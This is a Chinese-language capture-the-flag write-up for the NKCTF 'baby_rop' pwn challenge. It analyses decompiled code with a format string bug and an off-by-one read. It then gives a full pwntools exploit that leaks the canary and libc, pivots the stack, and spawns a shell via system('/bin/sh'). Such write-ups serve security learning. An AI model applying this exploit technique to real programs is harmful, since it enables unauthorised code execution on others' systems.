nkctfrop

b4nd1t

nkctf pwn baby_rop

保护检查

1679921699801

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 vuln()
{
const char *format; // [rsp+8h] [rbp-118h]
char src[8]; // [rsp+10h] [rbp-110h] BYREF
char dest[8]; // [rsp+18h] [rbp-108h] BYREF
char v4[248]; // [rsp+20h] [rbp-100h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
strcpy(dest, "Hello, ");
puts("Welcome to the NKCTF message board!");
printf("What is your name: ");
my_read((__int64)src, 8);
format = strcat(dest, src);
printf(format);
puts("What are your comments and suggestions for the NKCTF: ");
my_read((__int64)v4, 256);
puts("Thank you, we will read your comments and suggestions carefully.");
return 0LL;
}

主要在这个vuln函数中,前面有一个格式化字符串漏洞,然后后面输入256个字符,但是并不能覆盖到返回地址。在my_read函数中有一个off_by_one的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall my_read(__int64 a1, int a2)
{
unsigned int v3; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i < a2; ++i )
{
v3 = read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 10 )
break;
}
*(_BYTE *)(i + a1) = 0;
return v3;
}

1679921928395

在主函数调用vuln函数的下面紧接着的时leave指令,这就联想到了栈劫持,而且通过off_by_one漏洞恰好可以修改rbp里存的值,这样就可以将栈迁移到我们输入256字节的范围内。

思路:前面的格式化字符串漏洞可以输入的值有限,第一次泄露一下栈地址的canary,主要是canary

然后劫持进程到start重新运行一次,第二次泄露libc,通过system和binsh拿到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi_ret = 0x0000000000401413
ret = 0x000000000040101a
main_addr = 0x40138C
start_addr = 0x4010F0
def debug():
gdb.attach(p,'b *0x401340')
p.recv()
payload = "%p%41$p"
p.sendline(payload)
p.recvuntil("Hello, ")
stack_dest = int(p.recv(14),16)
old_rbp = stack_dest + 0x118
fake_rbp = old_rbp & 0xffffffffffffff00
v4_addr = stack_dest + 8
num = fake_rbp - v4_addr + 0x10
canary = int(p.recv(18),16)
print(hex(stack_dest))
print(hex(canary))
p.recv()
payload = p64(ret)*30 + p64(start_addr)
payload += p64(canary)
p.send(payload)
p.recv()
payload = "%25$p"
p.sendline(payload)
p.recvuntil("Hello, ")
libcbase = int(p.recv(14),16) - libc.sym['_IO_2_1_stderr_']
print(hex(libcbase))
binsh = libcbase + 0x00000000001b45bd
system_addr = libcbase + libc.sym['system']
p.recv()
payload = p64(ret)*28 + p64(pop_rdi_ret) + p64(binsh) + p64(system_addr) + p64(canary)
p.send(payload)
#debug()
p.interactive()

一开始我打算用泄露出来的栈地址计算出准确的偏移,然后不知道怎么回事一直失败,后来我想到了一个无脑填充ret的地址,把包括canary在内的后几个字节正常写入,前面全部填充ret,这样反而更加稳定。